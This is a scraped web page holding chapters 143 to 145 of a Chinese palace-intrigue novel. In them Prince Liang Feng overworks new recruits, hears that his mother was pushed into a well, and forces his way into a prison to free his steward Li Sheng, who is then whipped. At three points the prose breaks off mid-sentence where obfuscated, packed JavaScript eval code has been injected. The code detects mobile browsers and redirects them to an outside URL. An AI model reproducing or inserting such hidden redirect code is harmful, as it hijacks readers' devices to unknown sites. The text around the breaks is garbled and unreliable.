“你说得对。”眼泪仿佛熄掉了她眼中的火,连那一点反照池水的亮光也没了。 “你说得对。可是皇帝又做了什么?” 她抬手一指墙头,“出去。” 金絮扭头回屋。 梁风垂手地站在原地,一直看着金絮在庭院尽头离开。 最后丧气地学着她的姿势坐在桥栏上,意识到自己很害怕金絮的眼泪。 惹她哭了,生这么大的气。 又是冒火又是泡水,再这样下去,她这双眼睛迟早要瞎。 143. 《红叶书》(六三) 金絮的事情有些大了。 梁风很想把一切事情放下,好好处理处理她。 他忧心忡忡,坐在王府大殿的客榻中央,觉也不睡了。 李晟注意到他衣摆上的鞋印子,仔细端详着,道:“王爷,想想您最初为何愿意重视金姑娘。” “与这无关。我很担心她,但她好像不觉得自己是需要担心的。” 他觉得不对劲,金絮要不择手段地利用一切,那为什么仿造一只假杯子,把那只真的留下了。 梁风问:“她说她要复仇,最先做的就是自杀,这是为什么?” 老李怔了片刻,若有所思:“金姑娘恨自己?” 梁风心里一琢磨,想到看见她时的各种模样,狠狠地点头认同:“对,她就是恨自己。我该怎么帮她?” 她的仇恨是向内的,不是向外的,所以才脾气坏,光对着他坏了。 “这很伤身啊。”老李摇摇头,“别人帮不了的。” 梁风不懂,老李道:“她只能靠自己。” 他还是不懂。低头看着榻板寻思,看着自己盘腿的姿势,眼前莫名一花,变成了温柔馆那座砖桥。他与金絮的身影重叠,盘腿坐在桥栏上,身侧下方就是桥底的池水。他有那么一刻想往旁边跌,跳进池水里。 左跌是桥面,右跌是池水,跌进池水里仿佛痛快些。 忽然之间灵光一闪,通了,梁风恍然大悟,“说得对,我就不能成为她的‘别人’!” 他不爱钻牛角尖,也不能钻牛角尖,他只希望她打消这样的念头。 “也好。王爷帮帮她吧。”李晟沉吟抚须,“我前些日子上街,在京城北面遇见几名应该是温柔馆里的女子结伴同游,看她们似乎玩得挺尽兴,有这些女子在,金姑娘身边都不是‘别人’。” 她身边的女子......梁风想到了小缃。 他和小缃联系非常少,基本只靠暗卫打听她的行动。因为小缃是女子,对金絮平常生活上的了解肯定比旁人更深入,他若是通过小缃打听很容易让金絮以为他过界了。而暗卫是男的,不管离她多近都会保持距离,不至于真的令金絮对他的监视产生厌恶,他的本意也是想护她安全。 “我得多陪陪她才行。”他有必要认真地履行承诺了,不能再依靠暗卫,得靠他自己。 梁风问:“府里还能不能凑点钱出来?” 老李算也不算便道:“能凑两万钱左右,随时可以调出来。” “好,那就调出来,明日送到皇宫去。”这是给与義凑的捐资,两万钱少了点,但也够了,本身与義年纪小就没什么多余钱财,还整日出去玩,捐多了反而奇怪。 梁风近午时去到军营,决意整顿一番。 他昨晚也想明白了,军营被人趁隙钻入也是因为他存在疏漏。如果他真正操控住军营上下,不会这么短的时间就给人可乘之机。军心不易动摇,但也不能毫不作为。 还未入大帐,副将来报说三皇子已在内等候多时,要见他一面。 梁风掀帘,一眼看见与棣悠闲地靠着长榻。三皇子垫坐熊皮,身边有手下侍酒。 他走近,闻见那酒有一股清淡的鲜果甜味,军营内没有这种酒,与棣入营一趟还特意带了酒来,生怕有一刻委屈了自己。 梁风嫌道:“看你这模样,像是忘了在军营吃过的苦了。” “不敢忘。”与棣笑着,挥退酒侍,道:“原来皇叔这里,也不是滴水不漏。” 太南粮食入城的消息传得很快,这才不到半天,与棣就收到消息,过来和他确认了。 梁风冷脸应对,“怎样?”他想对抗的是皇帝,三皇子只是他借以对抗的手段,与棣的态度不在他的所谓内。 “我此番前来,是为替母亲向皇叔说一声感谢。”与棣礼道:“只不过那点粮食太少了,一入城,就被商贩买完了。” 梁风不吭声,与棣还是会想事的,没收那丁点的粮食,若是收了,就是对他的表态进行回复,那便难以猜测皇帝和与丕会是什么反应了。 与棣坐端正,“只有一事,侄儿必须亲自前来告知皇叔。” 梁风眼睛看过去。 与棣道:“侄儿听说,皇兄手下有一名小兵,名楚通,十七八岁,性素狂傲,一身肌肉孔武有力,前些日子在皇兄授意下也入了军营来。侄儿担心此人进营,行事有违营内风气,对底下士兵训练造成不良影响,这就不好了。皇叔可多留意此人,多加提点,让他知道军营不是容易留下的。” 梁风皱眉,听明白了,“你是想我给这楚通下个马威?” 三皇子笑笑,“这不叫下马威,这是皇叔作为大将军对底下人的提点。” “哦,提点。”梁风了然,大度应下,“行,我知道了。” 与棣一礼,向梁风告退,身上甜甜的果酒香气阻挡了军营内所有风沙。 梁风去到校场,让副将召集这段时日所有新入营的人,他有话要训。 副将领命。很快,所有新人成阵排列于校场,大约五十人。梁风一一对着名录,确认这些人每一个背后都是谁。 皇帝安插的人数最少,位高的只有两人,都不姓林,空降校尉之位,离梁风最多两步之遥,只缺个军功就可正式得将军的头衔。他即将抗匈的一战,估计这两人会随同他出征。 太子和三皇子的人各占十几个,包括伙食营与马营在内,分布于中下层。极个别有军职但职位都不高,基本不报团。 梁风见到了楚通,眼神很嚣张,敢直视他,外表看起来并没有与棣说的那样孔武有力。 相比嚣张的外表,梁风看着比较碍眼的是太子手下几个在伙食营里的人。 这威胁到了他在军营内的根本。梁风很嫌弃,因为要笼络人心,第一步就是从吃食下手,他最初就是这么做的。 太子真是有钱。梁风用眼神把楚通嚣张的外表压下去。 剩下的就是某些文官的熟人,与皇帝皇子接触不算多。 梁风站在所有人面前发话,以训练为名,命这帮新人搭建炮台。 往后每日天不亮,徒步拉车去序山脚下搬砖块,共两万匹砖,搬去城西郊外的驿道。搬完砖后,原地为西驿道新建一座炮台。梁风图纸都准备好了。 与棣让他对太子安插进来的人下个马威。无所谓,他要对所有新来的人都下个马威。 对新人从体力上进行贬低,是最简单的下马威方式,比其他的剑术、射击、骑术、拳法之类都要方便。这些新人里要是有底子好的,一天下来还没累趴下,那就加训,直到累趴下,非常简单。 而且累趴下的样子相当狼狈,下的马威效果非常好,他自己则可以坐在马背上从容地训斥,指点江山。 更而且,西驿道是真的要建一座炮台,早在他刚返京时就与太尉商量过此事,不是他胡诌的,也不是他要搞故意针对。 欺负了新人,梁风这夜好好睡了一觉。 第二天一早,皇帝还没重新开朝,却降下一道口谕,提醒梁风善待军营新人。 梁风在夏培面前应下口谕,转过头当着夏培的面接着亲自训练新人,并放狠话:搬砖建台而已,体力不济者滚出军营。 夏培黑着脸色回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839878|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫。 午后,梁风进宫,收取老李送来的钱币。他将这些钱作为与義上缴的捐资记录在册,并通知与義一声。 至此,他作为监币使的职责算是全部完成了。 梁风将这段时日的全部账本呈给皇帝过目,等待皇帝回复。 监币使的职责结束,意味着军资筹齐,他即将出征,也意味着他可以向皇帝讨赏了,他想以此事换取母亲在宫内可以随时传唤他的权利。 账本送进宫里,皇帝不适的身体似乎立刻痊愈了,召见三公,商讨了什么。 梁风在宫里等着皇帝召见,心里仔细将收缴捐资这件事情前后想了一遍,自认除了那对前朝羽殇外,他在监币一职上不能说出了错漏,但完成得也不是特别好,冯棹台还在禁足。 被自己想得有些不安,梁风就差站去朝殿大门外边了。 皇帝与三公商讨完后,梁风的监币使一职便被平平无奇地撤去,仅仅是太监过来简单地和他通知了一句。 他回归为一个普通的王爷,兼大将军。 三公走后,梁风入殿请见皇帝。 皇帝一见他便道:“你做得很好,阿风。” 梁风心没放下,“陛下,那您事前说的赏赐......” “朕记得。你想要什么赏赐?” 梁风将找准备好的话说出:“我担心母亲独自待在宫里太过孤寂,找不到一个陪她说话的人,便希望母亲想找人说话时可以随时写封信件送给我。” “你想你母亲能随时与宫外联系。”皇帝沉吟片刻,点头,“这倒不难,朕可准。不过,你母亲与宫外联系的名义不能是因为你。” 梁风没以为皇帝会答应得痛快,“不过”后才是重点。 “邓氏送至宫外的信件只能先与相府通报,信件一律经相府获批才可送出宫外。” 梁风心底变冷,“这是陛下和游照同商量好的?” “朕的意思也要游照同无异议。你母亲在宫里一切都好,无须担心。你接下来专心抗匈,多费些心思在新兵营,待你凯旋归来,要更多的赏赐都好商量。” 皇帝点出了军营,梁风已经知道意思,懒得再多说,告辞离宫。 相府调查文官操控粮价的事情还在继续,游照同就要和皇帝一起联手巩固新人在军营里的地位。 果然不会有他想象中那样顺利。母亲要么根本无法写信,要么写的信件卡在相府寄不出宫。这和从前没有任何区别,他要这个赏赐跟要了个屁一样。 梁风看不惯,连夜修改炮台图纸,扩大炮台筑基与高度,决意将西驿道这座炮台建成京城周边最大的一座。命那群新兵从序山山腰搬石块,从切砖头开始,以血泪建这座炮台。 当天晚上,梁风就听说这群新兵里有人受不住,在搬砖时被散落的砖头压倒昏迷了。 副将来问他要不要叫军医。 梁风说不用,并发话,表示自己体贴新兵,考虑到新入营的人承受不住强度过大的训练,而军医多熟悉兵器造成的外伤,可能反而不熟体虚气短这类小病,他便下令让府里的李婶入营,专门照看体力不支而倒下的新兵,以示体贴。 李婶一脸懵懵然地回到了军营。 李婶医术极强,用来处理新人体力不支而倒下的病症实在是小题大做,但梁风不管,倒下的新兵必须由他来处理。 这些病倒的新人是逐渐被医好,还是因体质太差承受不住训练而身体愈差,这一关键必须由他决定。 表态?表什么态。 这才是徇私,这才是兵权的真正含义,他自认触碰到真理。 144. 拉锯 然而真理的维系与他无关。新兵受训过度倒下的消息传开,军营内起了一阵骚动,逐渐有人劝梁风对新兵不必太过紧逼,梁风全当没听见,紧盯着宫里的动作。 皇帝有意封闭母亲那边的消息,捐资结束,他已不是监币使,不能再未诏入宫,除了遣人打探,没法做出更深入的举动。 李婶入营当天,冯棹台的禁足解除。解禁的同时,冯棹台得到升任,在谢傅的举荐下,升为御史中丞。 御史中丞,再往上升就是御史大夫,御史大夫再往上升就是丞相。 冯棹台还得到了捐资一事中的大部分功劳。皇帝特于捐资中拨一笔赏钱赐予冯棹台,而应和王获得口头褒奖。 冯棹台没有领赏,仅接了升任圣旨便出宫了。 梁风抓紧派人拦下冯棹台,打听母亲在宫里的情况。 冯棹台说,他的母亲前一天夜里不知何故离开暖阁,走夜路时不小心跌入一口井中。幸当时有仆从随同,援救及时,除了受寒受惊外,没有大碍。 梁风惊了,第一反应是不相信,立即写折子询问皇帝。 皇帝回复异常地快,肯定了这件事情确实发生,并安抚梁风,已唤太医诊治邓氏,目下她人安然无恙。 梁风不信无恙,请旨入宫探望母亲。 皇帝的回复托人传来,等待许久,好不容易传来口谕的夏培说的却是不建议他此刻入宫,因为夜已深。 梁风不想忍这气,当着夏培的面下令新兵连夜赶工,理由是今夜恐怕有雨,要为炮台的土泥砖瓦搭建临时挡雨棚。好不容易搬过去的砖头,雨水淹了可就不好了。 下令后,夏培站出帐外,抬头看,宽阔无云的夜空星光郎朗,悬挂着一轮明媚的月亮,半晌垂下头,对着梁风笑了笑,“这天儿瞧着不像是憋了雨,应和王殿下可放宽心,不如早些休息,明早再监督那帮新兵崽子,炮台的工程也不必急赶今夜余下的几个时辰,奴婢瞧您脸上都有了几分连日没睡妥的暗色。” 梁风不在意,“无妨。今夜没雨,往后哪天说不定有雨,先把雨棚搭起来也好以防万一。” 夏培听了,仍好意笑着看他,但眼神看起来在动心思。梁风在夏培干净无须的脸上转转,道:“今夜已经晚了,城门估计落了锁,夏公公不如在营里过一夜,明天一早再进宫。” 夏培嘴边的笑塌了一点,躬着身道:“奴婢早前便听许多大臣说应和王殿下心慈,今夜一见果不其然,只是奴婢不敢劳烦殿下破例,太监未经圣旨而留宿军营,于制不合。奴婢会骑马的,可以快马赶在城门落锁前入城。” 没想到这太监居然会骑马,梁风不由上下打量这老太监。不过意外归意外,他挥手召来两名士兵,“留你过宿不比为你打开已经落锁的城门破例,你住着吧。” 夏培无法再多说,被两名士兵架着,拉去了一座小帐篷。 一夜无雨。 梁风也一夜没睡。 对于赏赐不平衡,他没什么所谓,只是他要警告宫里的人,不能趁他不在的时候对军营做些什么手脚,并且皇帝答应他的奖赏必须兑现。 皇帝知道他担心宫里的母亲,还知道他派了人在皇宫周边逢人打探消息,于是刻意宣冯棹台入宫接受升任旨意,再以冯棹台之口告诉他母亲的近况。本身升个官的事没必要进宫一趟的。 他敢十分肯定,母亲绝不是失足跌入井中。哪怕真的失足,也是有人推的,或是吓的,目的是警告他放过那群新兵。 梁风怀疑起皇帝是不是在捐资一事最开始,封他为监币使时就有了在军营中安插一手的打算,这个打算还是和文官联合在了一起。 他要气死了,越想越气,明明他才是被针对的那个,欺负欺负新人又怎么了。 越到这个时候,越不能心软。出征在即,皇帝绝对不敢拿他怎么样,母亲过得好与不好也不是全靠他的妥协决定,他要试探皇帝的底线,不能再有这种趁他不在就手脚不干净的事情发生,否则他怎么可能安心抗匈。 他除此之外,还要保证这次抗匈必胜,绝不能打输,不然等不到他回来,母亲先不在了。还有不能死在这场战上。 不过,梁风一转念,他如果死了,皇帝或许顾念他战死沙场,反而可能赐予母亲顺遂的后半生,府里的人说不定也能得到出路。 可是那样的话金絮要怎么办,金絮的病要怎么办。她可不能永远待在温柔馆,那有什么好的。 他有顾虑,很多顾虑,无解的顾虑。 稀稀拉拉地想来想去也无法把后面的路规划好。眼见着天亮了,早朝也结束了,梁风估摸着宫里会来人把夏培要回去,他想利用夏培威胁皇帝,索性先不入宫,拿着炮台草图同夏培提议去炮台建址看一看,托辞是代陛下掌眼。 夏培也是一夜没睡,在他面前却是一副相当精神带笑的模样。 梁风没让人安排早饭,不顾夏培推辞,拉着人就去了城西。 慢慢太阳升起来,梁风坐在建址外围的遮阳棚底下,看着副将领着夏培一圈又一圈地围绕建址解说,充分展示每一处预想中的炮台细节,一边悠闲地指挥新兵赶工。 绕了五圈后,夏培晕倒了。 没有人接住晕倒的夏公公。副将询问地看向梁风,请他示意。 没有吃早饭,昨夜的晚饭不知道夏培吃了没有,可能是假晕,也可能是趁着这股没吃饭的虚气就势晕倒。 如果人在他这里有了毛病,当然不好交代。梁风知道夏培打什么算盘,于是让人把夏培抬去帐里,叫李婶煎一碗药。 李婶的一副药灌下去,夏培比来军营前还要面色红润。 夏公公晕倒的事情传到宫里,没等来接走夏培的人,反而等来了一个文官。 文官归属相府主管货币盐铁的金曹,入营直见梁风,告诉梁风一件急事。 王府主管李氏因征调各大钱庄的贷款,使民间钱财流入王府,致几名大家主怨愤,联名对王府此举提出异议,认为应和王涉嫌影响民间钱财取向。 相府认同异议,皇室向民间借放贷的权限是捏在皇帝手里的,今日入营是为向应和王求证此事真否。若是真的,相府有权抓捕李主管入狱受罚。 梁风简直呆住了,文官的面目在他眼中狰狞起来。 后知后觉反应过来皇帝对母亲下手不够,还要对他府里的人下手。 梁风一脚踹向这文官,“好大的胆子!是我要借贷,与我府里的人无关!不过是个下人你们也没脸没皮地针对!” 文官被踹得倒翻在地,哎哟一声。 梁风不管不顾,带上几个人就要入城。他如果此刻离营,绝对后脚就会有人接走夏培,但他不管那么多了。 刚入城,还没摸到王府的边,暗卫又送来新的消息。 七皇子为应和王求情,向皇帝解释王府之所以向民间借贷是为自己筹措捐资,梁与義自澄所缴捐资中没有一分是自己出的。 皇帝似乎很生气,气极的后果暂未知。 梁风懒得管皇帝生不生气,回到王府才从守卫王府的暗卫口中得知,李晟已经被抓去了决曹牢狱。 梁风扭头去找相府。 他出示令牌,压制牢狱外围守卫,堂而皇之闯进决曹牢狱,一声令下,带着人开始搜刮。 没有搜得十分深入,梁风很快找到一间聚集了众多狱兵的牢房,一眼看见老李。 李晟牢房最深处被呈大字捆在受刑架上,一抬头便对上梁风视线。梁风心里着急,只想前冲,势头却被一根鞭子拦下。 他怒而瞪眼,看见了相府卢司直。 姓卢的手里握着一条鞭子,拦住他的去路,微抬手命守卫亮出兵器,对着梁风悠悠笑道:“应和王殿下消息很灵通,您来得真快。” 梁风冷静下来环顾一圈,老李外表看起来没有伤口,衣服也没有破烂,而这姓卢的像是等着他来。他知道不能冲动,按回了即将拔出的刀刃,道:“王府借贷这件事还没查清,这么急得就把我的人抓了?” “很小得一件事,相府已经查清了。”卢司直从怀中摸出几张纸,是钱庄借贷的凭证。 梁风看见纸上的王府章印,顿时不管了,几步跨出,冒着齐刷刷冲向他的剑尖,想要夺来姓卢的手里的纸。 可他离得远了,姓卢的只需轻松把纸藏于身后,便质问道:“应和王殿下这是想劫狱?” 梁风抓了个空,忍气道:“罪名还没定,你不该把我的人抓了,我这自然也不是劫狱。” 他道:“口供在哪里?皇帝定罪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839879|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旨意在哪里?抓捕文书在哪里?你们一天天这也不合制,那也不合制,现在各方文书还没拟定就把我的人抓了,这一下又合制了?” 卢司直气定神闲,“为防止犯人逃脱,自然是当先抓捕犯人要紧,文书可以后拟,此次抓捕是承陛下口谕......” “皇帝一张嘴叭叭叭那么管用,还要圣旨宝玺游照同这些狗屁不是的东西干什么!” 梁风右手一巴掌扇过去,姓卢的侧身躲开了,梁风顺势拔刀抡圆了一划,将周围的剑尖荡开,姓卢的被刀气割伤跌倒在地。 狱卒立刻群起攻击,梁风的人拔刀相对。梁风趁乱转刀,用刀背扫开两个碍事的人,冲到老李面前,割断老李双手的绳子。 “王爷,不可以冲动。”李晟低声道。 梁风只顾先解绳,没说话。 他很冷静,但他确实后悔了。刚才过来就应该把夏培带上,说不定还能和皇帝一换一,现在连点筹码都没有,还要背负劫狱的罪名。他这一闯,恐怕皇帝不会许可他入宫看望母亲了。 解了绳,梁风背护李晟,面对两方混战的士兵,大吼:“都住手!” 众人纷纷停下。姓卢的从地上爬起来,身上不知被谁割了两刀,伤血明显,冷冷一笑,道:“下官力有不逮,无法阻拦应和王殿下劫狱。” 梁风发现姓卢的阻拦他的想法并不很强烈,顿时不敢再有举动。他紧紧攥住刀,考虑各种做法的后果。 身后老李道:“王爷,我留下吧,王府借贷和您为母亲争取权利是两回事。” 李晟不想走,想承担下这个罪名。王府向民间借贷是事实,必须有人承担这个罪名并受罚。 梁风满心不痛快,刀尖垂下了一点,“司直大人,我并不想劫狱。大周史上不是没有皇室向民间借贷的先例,但是先例却没有受罚,还请司直大人解释。” 卢司直立刻表现出尽心教授的模样,“应和王殿下有所不知,大周史上皇室向民间借放贷的先例皆有当朝陛下授旨,并无皇室子弟私下借贷的先例。” 梁风快要绷不住脸上的表情了,道:“我不知道。我此前并不知道皇室不能私下向民间借贷的规矩,我若知道便不会这么做了。” “大周所有皇子公主成年前所学礼仪、律法,皆有习过这一规矩,或许您只是忘了。忘了,也得受罚。”姓卢的仍是一副尽心的样子。 梁风咬牙,“好,好,文书可以后拟,我来受罚。” “应和王殿下即将带兵出征,陛下有旨,绝不可伤您。”卢司直松松笑道:“不过是底下人受个罚罢了,还请应和王殿下顾全大局。” 当即有人闻声上前欲抓李晟就范,梁风再次抡圆了划刀,清出一片领域,“谁敢!” 一众再被逼退,卢司直皱眉,“应和王殿下,您这么做就不对了。” 梁风简直想要捏碎手里的刀。若说他手中唯一的筹码是朝廷要依靠他抗匈,他还算重要,可若论带兵出征,他却不是唯一的将领人选。如果皇帝实在没有后路,找不出第二个人,皇帝是可以自己领兵的。 该怎么办。梁风想不到办法。 这时,牢房外传来匆匆而至的脚步声。 一名看起来不到二十的年轻人急忙赶来,穿着似乎是宫里的服饰,先对着梁风行礼,后对着姓卢的行礼,道:“奴才奉七皇子之命,前来告知卢大人有关应和王府主管收监后陛下的判罚决定。” “原来是七皇子殿下。”姓卢的做出恭敬的样子。 年轻人道:“陛下言,应和王借贷事出有因,实为替七皇子殿下筹集捐资,或许中间有因不熟律法而出现的疏漏,但可谅解,陛下暂时撤回了抓捕应和王府主管并立即处罚的口谕。有关应和王府私自借贷一事如何处置罚诀,陛下尚在斟酌,还请卢大人稍后。” “如此......”姓卢的面露犹豫。 皇帝不是一言九鼎。梁风心里嗤嗤,就说那上下嘴皮子一碰,扯出来的都是狗屁的东西。 “陛下说的可是暂时?是否有需要放还王府主管的旨意?”姓卢的恭敬问。 “这......未明说,陛下暂未有旁的示下。” 卢司直思索片刻,颔首躬身道:“是。下官这就去请示游大人。” 145. 《红叶书》(六五) 年轻侍从看了梁风一眼,退到一旁陪同等待。 姓卢的没有离开,点了身边下属代去请命。 没有皇帝明确指示的情况下,选择去问游照同的意思,梁风觉得这姓卢的很嚣张。 此刻没法带老李离开,梁风等。等了一个时辰,牢房外再次传来脚步声。 传话的人恐怕不会这么快,他怕是又有什么新变故,就见拐角处走来的人是冯棹台。 梁风一愣,有些意外,冯棹□□自一人前来,不知代表着谁。 冯棹台挨个行完礼,对梁风道:“王爷,臣有话同您说。” 梁风心里有一丝丝警惕,和冯棹台走到一边,保证老李和姓卢的在视线范围内,再道:“你说。” “朝廷已经将钱粮军资筹集,您不日便要出征,臣是来劝您停手的。” 梁风微诧,“你是来劝我的?”随即诧异变不满,垮了脸道:“为什么要劝,我又没做错什么。” 他可明白,矫正错误的行为才是用劝诫这类字眼,指责不到他身上。 “谁让你来劝我的?” “没有人让我来,是我自己来的。”冯棹台面对梁风的不满没有不满,“不光是我自己,也有您母亲的意思。” 冯棹台道:“上回我出宫,听见两名丫鬟在议论您母亲的事,说您母亲失足落井,刻意让我听见。我便去暖阁看望您的母亲。” 冯棹台居然还去看望他的母亲,虽然指责不到他身上,但是可以听一听,勉为其难。 “您母亲和我说,她虽身在宫中,可也知道您的近况。路过那口井时,是有人推了她一把,您母亲就知道您在宫外一定遇到了什么事。她托我告诉您,只要您在宫外安然一天,她在宫内就不会遇到致命的危险。您母亲希望您保护好自己,切勿置身于危险境地。” 果然是有人推她。梁风愈发冒火。 “捐资结束,皇帝亲口答应的赏赐却不履行,我想讨个公道,皇帝却威胁我,凭什么要我让步?我如果可以保护大周不受匈奴侵犯,那我为什么不可以护住我身边的人。” “王爷,我并不赞同一味地隐忍,但反抗是需要挑选时机的。在身边没有刀剑相指时,才是最适合反抗的时机。您明知道身边刀剑环绕,还要冲上前去,那和自杀没有区别。” 梁风觉得这种想法背后的立场简直不可理喻,他难道不知道挑选时机? “身边刀剑环绕就不前冲,那还要不要抗匈了?哪一场战争面对的敌人不是兵甲齐全?害怕受伤就不冲了?那胜仗从哪里来?文官就是什么都不懂,只知道动嘴皮子。” “可是战场上我方也是全副武装,您若赤手空拳,知道自己必输无疑,您也不会开战。” “你怎么知道我不会?” “您即将出征,选在这时令陛下怀疑您的忠心,给文官弹劾您的理由,于您母亲实在不利。”冯棹台坚持道:“等您凯旋归来,再向陛下索要奖励不好吗?” 梁风的心情寒下来,他知道冯棹台想给他台阶,但这些话越听越不顺耳。不顺耳的原因是不得不承认冯棹台说的有一点对,一点点对,他也有一点点点嘴硬。 梁风不看冯棹台,“捐资这件事结束,我不应该讨赏?我应该客气地推辞,抗匈后再连着军功一并讨赏?因为我不一定凯旋,因为我可能战死,因为我不一定能活着回来?” “陛下将捐资一事的功劳与奖赏全赐予我,恐怕是有这层意思。”冯棹台停顿一下,“王爷,您当然能凯旋。” 是是是,全天底下都在教他如何行事,他就是最不懂事的人。梁风不爽道:“你不是奉皇帝之命来和我说这些的?” “不是。”冯棹台非常认真地看着他。 梁风仔细地看冯棹台的脸,最后憋闷地移开视线。反正是真诚还是假真诚他都看不出来,他不想对冯棹台太凶。 他转头看见还站在受刑架下的老李,更加憋闷,以为兵权渐重,说出来的话有人听,结果没有。那一个两个人都要争夺军营话语权,还以为兵权多值钱呢。 姓卢的保持着一脸假假的笑。与義派来的仆从沉默地站在一边,估计是想等到事情结束好向与義汇报。梁风寻思该怎么名正言顺地带老李走。 他正转着心思,牢房外第三次传来脚步声。 这次来的人很多,三名狱卒围着一名丫鬟走来。 丫鬟手里抓着个东西,行礼时眼神会留意每一个人。梁风不认识这丫鬟,看她服饰也是宫里的。 丫鬟礼完低头走到梁风面前,跪下举起手中的东西,“奴婢奉暖阁邓八子之命,为应和王殿下送一封信件。” 梁风一直转着的思绪骤然停顿,劈手接过信封。 打开里面是一张小信笺和一支短簪子。簪子他见母亲戴过,信笺内容很短,是母亲说她在宫里一切都好,落井后没有大碍,喝了一碗姜汤就全好了,让他不要担心。 母亲送出来的东西顺利地交到他手里了。 梁风捏着薄薄一张纸,感受到了皇帝的妥协,必须付出代价的妥协。 他看向跪在脚边的丫鬟,“起来。你是我母亲身边的?我没有见过你。” 丫鬟低头起身,答道:“是。陛下说八子原先的一干仆从手脚粗疏,不细心照料,致使八子落井,便为八子换了一批下人。” 梁风并不觉得皇帝好心,母亲肯定是皇帝指使人推的,他很想进宫看看母亲身边的新人。 感受到冯棹台沉默的视线,梁风抬头一看,冯棹台同他道:“王爷,您再好好想想。” 说完,冯棹台便走了。 梁风走去老李旁边,老李很有笑意,“王爷可以安心出征了。” 梁风不说话,他没有很安心的感觉。 继续等了一会,姓卢的派去请示的人终于回来了,还带来了相府金曹的掾属。 金曹掾属呈给卢司直一份新的证物,卢司直阅后脸色微变。 金曹掾属道:“一个时辰前,一名男子找到相府,出示一张借条,并询问应和王府借的这笔款项何时能还。那男子是京城一户赵氏商户的账房管家,该家主名叫赵关。” 赵关?梁风皱眉,不由凑近往姓卢的手里的纸看。 金曹掾属瞧瞧他的脸色,道:“应和王殿下想必认识这赵关?” “认识。”梁风看见借条上写的债主是赵氏商户,盖了印戳。但纸条上写的欠债方应和王府却没有盖戳。 金曹掾属道:“依那赵氏账房管家所言,这是应和王府前几日向赵氏借的一笔款项。当时是口头承诺借款会在一月后归还,不想赵氏这几日急需用钱,希望王府能提前归还欠款,然而口头承诺没有文书兑现,赵氏账房管家找上王府时不仅没拿到欠款,还被当作骗子赶了出去。” 梁风懵了,暗暗看了老李一眼,李晟更懵。 老李不可能做出把人赶出去这种事,这赵关难道在帮他?梁风匪夷所思。 金曹掾属同卢司直道:“现赵氏补拟了这张借条,但缺少应和王府盖印,那赵氏账房管家便拿着这借条来相府询问是否作数,并痛斥王府不能言而无信,应立即将款项归还,若不归还,便直接在相府报案,请求公道了。” 卢司直皱眉头,像是不满,把借条不断看看,还有疑惑,“那这便不算皇室借贷,无需陛下批准。可是寻常借款无需盖戳。” 金曹掾属颔首,“游大人证实应和王所借之金钱非贷,不计利息,只是一笔普通借款。双方不用在借条上盖戳,签了字就能确认。” 梁风没搞明白是怎么回事,但知道王府是没有向民间借贷的,松了口气,可以带老李走了。他不想夜长梦多,当即抓着老李就要走。 “王爷请慢。” 金曹掾属唤他止步,道:“陛下对相府的误判向您表达愧疚,但仍对您下了赐罚旨意,赐罚缘由是应和王对陛下言语不敬,罚五鞭。陛下顾虑到您即将出征,由应和王府李管事代为受罚。” 梁风一愣,“你......” 转而想起刚才他好像确实说过狗屁东西之类的话,心里不爽,只能吃下这个闷亏。 “不行,老李受不住,我来受罚。”梁风拦在老李身前,五鞭甩下去,人都鞭碎了。 “不可。陛下的旨令必须严格执行。”姓卢的这时公正起来。 梁风瞪一眼过去,气那皇帝真是半点亏吃不了。 眼见狱卒再次将老李双手吊起,拿出不知沾了多少人血的短鞭,挥一挥甩出气势,梁风恶心地看着。 狱卒啪地一鞭甩向老李后背,老李一声不吭,深深地皱着脸。甩了三鞭后,梁风冲上去拦住那不长眼的鞭子,“够了够了!” “还差两鞭呢,打。”卢司直气定神闲。 执鞭狱卒继续挥舞,梁风仍挡着,鞭尾打到了他身上。剩下两鞭打完,老李疼出了汗,梁风把双手吊绳解了,李晟晃悠两下,可以站稳。 “王爷放心,没什么大碍。”老李喘着气说。 梁风心里压着火,不再看牢房里其他人,扶着老李走了。 出到牢房外面,天已经渐黑,入夜不久。 梁风命人找大夫和马车,待马车找来,扶着老李坐到车上,回府。 老李边休息边道:“王爷,王府确实借了贷,但不是那赵氏商户的,而是姓林的,生意做得没有赵氏那么大。” “姓林?”梁风莫名想起好久之前见过金絮身边围着的俩男的,一个是赵关,一个据说是姓林,但那姓林的他记不清了。 “那家虽姓林,但祖籍不在京城,在泽南,与京城的大族林氏毫无关系。”老李道:“我便是看其与京内各族没有关联,才选择和他借贷。” 老李疼得止不住汗,梁风心疼,“好,我知道了,我会查的。回府后你先养伤,不用管这么多。” 李婶这个时候却在军营,梁风不免愁眉,得把李婶叫回来才行。可军营那边也得分心,一时半会儿可能回不来。 到了王府,梁风扶老李上床趴着,叫来的大夫也到了。 大夫为李晟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 